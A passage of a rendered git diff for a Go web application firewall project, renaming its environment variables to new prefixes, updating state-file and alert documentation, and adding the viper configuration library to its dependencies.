|
outside these netblocks cannot claim another address. Where other containers
|
||||||
setting to traefik's own network closes that gap.
|
reach `rproxy` directly, or visitors on a private network reach traefik, they
|
||||||
|
can name another address in the header. Narrowing the setting to traefik's own
|
||||||
|
network closes that gap.
|
||||||
|
|
||||||
## The image's command
|
## The image's command
|
||||||
|
|
||||||
@@ -458,14 +464,14 @@ check checks: `rproxy` or `discriminator` (see "Deployment" in
|
|||||||
|
|
||||||
Nothing reads these names any more:
|
Nothing reads these names any more:
|
||||||
|
|
||||||
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
- `SWW_WAF_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
|
||||||
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
- `SWW_WAF_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
|
||||||
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
- `SWW_WAF_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
|
||||||
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
- `SWW_WAF_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
|
||||||
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
- `SWW_WAF_CLIENT_REQUEST_TIMEOUT` and `SWW_WAF_UPSTREAM_REQUEST_TIMEOUT` are
|
||||||
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||||
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
- `SWW_WAF_CLIENT_RESPONSE_TIMEOUT` and `SWW_WAF_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||||
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||||
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
- `SWW_WAF_CLIENT_IDLE_TIMEOUT` and `SWW_WAF_CLIENT_REQUEST_HEADER_MAX_BYTES`
|
||||||
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
have no setting. `rproxy` closes a kept-open connection idle for 120 seconds,
|
||||||
takes a request line and headers of at most 32 KiB.
|
and takes a request line and headers of at most 32 KiB.
|
||||||
+8
-8
@@ -1,13 +1,13 @@
|
|||||||
# State files
|
# State files
|
||||||
|
|
||||||
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
The five JSON files in `SWW_WAF_STATE_DIR`, and what each holds. "Persistent
|
||||||
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
|
||||||
a top-level `version` of 1.
|
Each has a top-level `version` of 1.
|
||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
|
||||||
`discriminator` made. Per entry:
|
those `discriminator` made. Per entry:
|
||||||
|
|
||||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||||
@@ -94,10 +94,10 @@ GeoJS answers, one per line:
|
|||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
|
||||||
disk writes a day.
|
of disk writes a day.
|
||||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||||
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
|
|||||||
@@ -10,12 +10,14 @@ require (
|
|||||||
github.com/maxmind/mmdbwriter v1.2.0
|
github.com/maxmind/mmdbwriter v1.2.0
|
||||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||||
github.com/prometheus/client_golang v1.24.1
|
github.com/prometheus/client_golang v1.24.1
|
||||||
|
github.com/spf13/viper v1.21.0
|
||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
github.com/beorn7/perks v1.0.1 // indirect
|
github.com/beorn7/perks v1.0.1 // indirect
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||||
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
||||||
|
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
||||||
github.com/goccy/go-json v0.10.5 // indirect
|
github.com/goccy/go-json v0.10.5 // indirect
|
||||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
||||||
@@ -25,14 +27,22 @@ require (
|
|||||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||||
github.com/magefile/mage v1.17.0 // indirect
|
github.com/magefile/mage v1.17.0 // indirect
|
||||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||||
|
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
|
||||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
||||||
github.com/prometheus/client_model v0.6.2 // indirect
|
github.com/prometheus/client_model v0.6.2 // indirect
|
||||||
github.com/prometheus/common v0.70.1 // indirect
|
github.com/prometheus/common v0.70.1 // indirect
|
||||||
github.com/prometheus/procfs v0.21.1 // indirect
|
github.com/prometheus/procfs v0.21.1 // indirect
|
||||||
|
github.com/sagikazarmark/locafero v0.11.0 // indirect
|
||||||
|
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
|
||||||
|
github.com/spf13/afero v1.15.0 // indirect
|
||||||
|
github.com/spf13/cast v1.10.0 // indirect
|
||||||
|
github.com/spf13/pflag v1.0.10 // indirect
|
||||||
|
github.com/subosito/gotenv v1.6.0 // indirect
|
||||||
github.com/tidwall/gjson v1.18.0 // indirect
|
github.com/tidwall/gjson v1.18.0 // indirect
|
||||||
github.com/tidwall/match v1.1.1 // indirect
|
github.com/tidwall/match v1.1.1 // indirect
|
||||||
github.com/tidwall/pretty v1.2.1 // indirect
|
github.com/tidwall/pretty v1.2.1 // indirect
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||||
|
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||||
golang.org/x/net v0.60.0 // indirect
|
golang.org/x/net v0.60.0 // indirect
|
||||||
golang.org/x/sync v0.23.0 // indirect
|
golang.org/x/sync v0.23.0 // indirect
|
||||||
|
|||||||
@@ -14,8 +14,12 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
|
|||||||
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
||||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
||||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
||||||
|
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
||||||
|
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||||
|
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
||||||
|
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
||||||
@@ -36,6 +40,10 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
|
|||||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
||||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||||
|
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||||
|
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||||
|
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||||
|
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
||||||
@@ -60,8 +68,24 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
|
|||||||
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
||||||
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
||||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||||
|
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
||||||
|
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||||
|
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
|
||||||
|
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
|
||||||
|
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
|
||||||
|
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
|
||||||
|
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
|
||||||
|
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
|
||||||
|
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
|
||||||
|
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
|
||||||
|
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
||||||
|
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||||
|
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
|
||||||
|
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
|
||||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||||
|
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
||||||
|
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
||||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||||
|
|||||||
+30
-30
@@ -1,12 +1,12 @@
|
|||||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||||
// threshold, on a source that fails and on a file with an error to each
|
// threshold, on a source that fails and on a file with an error to each
|
||||||
// destination set: to the webhook
|
// destination set: to the webhook
|
||||||
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||||
// object" in docs/alerts.md describes, to the Slack incoming
|
// object" in docs/alerts.md describes, to the Slack incoming
|
||||||
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||||
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
|
||||||
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
|
||||||
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||||
// bounded queue of each destination's own, so that a destination that is
|
// bounded queue of each destination's own, so that a destination that is
|
||||||
// slow or unreachable holds up neither the others nor any request. The
|
// slow or unreachable holds up neither the others nor any request. The
|
||||||
// state is written to alerts.json and read from it by the state package.
|
// state is written to alerts.json and read from it by the state package.
|
||||||
@@ -34,7 +34,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
|
||||||
const (
|
const (
|
||||||
// EventBan is a ban sww made.
|
// EventBan is a ban sww made.
|
||||||
EventBan = "ban"
|
EventBan = "ban"
|
||||||
@@ -45,7 +45,7 @@ const (
|
|||||||
// threshold.
|
// threshold.
|
||||||
EventAnomaly = "anomaly"
|
EventAnomaly = "anomaly"
|
||||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||||
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||||
// detect mode.
|
// detect mode.
|
||||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||||
// EventReputationHit is a request whose client a blocklist, the
|
// EventReputationHit is a request whose client a blocklist, the
|
||||||
@@ -61,14 +61,14 @@ const (
|
|||||||
// cannot be read, or a state file that cannot be written.
|
// cannot be read, or a state file that cannot be written.
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
// back by the cooldowns dropped as it ends, which no alert let through
|
// back by the cooldowns dropped as it ends, which no alert let through
|
||||||
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
|
||||||
// those repeats. SWW_ALERT_EVENTS does not name it.
|
// those repeats. SWW_WAF_ALERT_EVENTS does not name it.
|
||||||
EventSummary = "summary"
|
EventSummary = "summary"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
|
||||||
// default.
|
// default.
|
||||||
func Events() []string {
|
func Events() []string {
|
||||||
return []string{
|
return []string{
|
||||||
@@ -80,12 +80,12 @@ func Events() []string {
|
|||||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||||
// name them.
|
// name them.
|
||||||
const (
|
const (
|
||||||
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
|
||||||
DestinationWebhook = "webhook"
|
DestinationWebhook = "webhook"
|
||||||
// DestinationSlack is the Slack incoming webhook
|
// DestinationSlack is the Slack incoming webhook
|
||||||
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
|
||||||
DestinationSlack = "slack"
|
DestinationSlack = "slack"
|
||||||
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
|
||||||
DestinationNtfy = "ntfy"
|
DestinationNtfy = "ntfy"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -121,26 +121,26 @@ var (
|
|||||||
// NtfyURL set, no alert is sent.
|
// NtfyURL set, no alert is sent.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// WebhookURL is where each alert is posted as JSON
|
// WebhookURL is where each alert is posted as JSON
|
||||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||||
WebhookURL *url.URL
|
WebhookURL *url.URL
|
||||||
WebhookHeaders http.Header
|
WebhookHeaders http.Header
|
||||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||||
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||||
SlackURL *url.URL
|
SlackURL *url.URL
|
||||||
// NtfyURL is the ntfy topic each alert is published to
|
// NtfyURL is the ntfy topic each alert is published to
|
||||||
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||||
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
|
||||||
NtfyURL *url.URL
|
NtfyURL *url.URL
|
||||||
NtfyToken string
|
NtfyToken string
|
||||||
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
|
||||||
Events []string
|
Events []string
|
||||||
// Cooldown is how long a repeat of an alert is held back
|
// Cooldown is how long a repeat of an alert is held back
|
||||||
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||||
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||||
Cooldown time.Duration
|
Cooldown time.Duration
|
||||||
MaxPerHour int
|
MaxPerHour int
|
||||||
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
|
||||||
Instance string
|
Instance string
|
||||||
// Now tells the time of an alert, normally time.Now in UTC.
|
// Now tells the time of an alert, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -301,17 +301,17 @@ func New(params Params) *Queue {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if params.WebhookURL != nil {
|
if params.WebhookURL != nil {
|
||||||
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
|
||||||
params.WebhookURL, q.webhookMessage)
|
params.WebhookURL, q.webhookMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
if params.SlackURL != nil {
|
if params.SlackURL != nil {
|
||||||
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
|
||||||
params.SlackURL, slackMessage)
|
params.SlackURL, slackMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
if params.NtfyURL != nil {
|
if params.NtfyURL != nil {
|
||||||
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
|
||||||
params.NtfyURL, q.ntfyMessage)
|
params.NtfyURL, q.ntfyMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -319,7 +319,7 @@ func New(params Params) *Queue {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Raise sends alert, which names its event and what is particular to it,
|
// Raise sends alert, which names its event and what is particular to it,
|
||||||
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
|
||||||
// out. It gives alert the instance and the time. An alert that repeats
|
// out. It gives alert the instance and the time. An alert that repeats
|
||||||
// the last one let through less than Cooldown before is held back and
|
// the last one let through less than Cooldown before is held back and
|
||||||
// counted. The next one let through gives that count, unless an hour of
|
// counted. The next one let through gives that count, unless an hour of
|
||||||
@@ -363,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WouldSend reports whether Raise would let an alert for event on
|
// WouldSend reports whether Raise would let an alert for event on
|
||||||
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
|
||||||
// event, no alert for event on netblock was let through less than
|
// event, no alert for event on netblock was let through less than
|
||||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||||
// in the hour under way. Unlike Raise, it counts nothing.
|
// in the hour under way. Unlike Raise, it counts nothing.
|
||||||
@@ -608,13 +608,13 @@ func (q *Queue) endHour(now time.Time) {
|
|||||||
|
|
||||||
if heldBack > 0 {
|
if heldBack > 0 {
|
||||||
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||||
